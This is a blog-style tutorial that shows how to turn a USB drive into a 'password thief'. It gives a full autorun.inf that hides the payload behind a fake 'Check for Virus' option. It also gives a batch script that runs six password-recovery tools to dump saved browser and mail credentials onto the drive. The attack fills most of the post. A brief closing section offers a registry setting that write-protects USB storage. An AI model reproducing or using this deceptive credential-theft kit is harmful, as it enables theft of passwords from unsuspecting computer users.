Hello friends,
Nowadays USB is a common device used to transfer data from a computer to another....Collages,Schools,Offices...etc
You will be shocked to know that a USB can also snatch passwords from your computer.
In this post i will show you how to do that.
How to turn your USB into a password thief?
Few tools you need to download for sniffing passwords:
Instructions
1. First of all you need to download all the above mentioned six applications. Next, as all of them are zipped, you have to unzip(extract) them all and put(only) the .exe files in the root directory of the USB.Next, open Notepad and paste the following code in it and save it in the USB as autorun.inf
[autorun]
open=explode.bat
ACTION= Check for Virus
2. Now open Notepad again and type the code below and save it as explode.bat
start iepv.exe /stext iepv.txt
start passwordfox.exe /stext passwordfox.txt
start chromepass.exe /stext chromepass.txt
start mailpv.exe /stext mailpv.txt
start operapassview.exe /stext operapassview.txt
start mspass.exe /stext mspass.txt
3. Bingo, your password stealer USB is finally ready for action.
How to Use it:
When you insert the USB drive into a computer, an autorun screen will appear with the option Check for Virus. Click on it and automatically all the passwords will be saved to your USB in .txt files.
How to Protect your PC from this kind of threat:
It is advisable to disable the USB ports of your computer when it is exposed to other users by going to the BIOS setup but this also has its own set of limitations as disabling the USB ports would also disable USB keyboards, USB printers etc.
Hence I've come up with a registry hack which doesn't disable your USB ports but instead disables write access to USB ports so that data cannot be written into pendrives.
Step 1:
Open the Windows Registry by going to 'run' and typing "regedit.exe" and then follow the following path:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\ Control\StorageDevicePolicies
Now on the right hand panel, right click and add a DWORD Value called WriteProtect and assign its value to 1(assign the value to 0 again to disable write protection on your drives) and you successfully protected your PC from this hack. :)
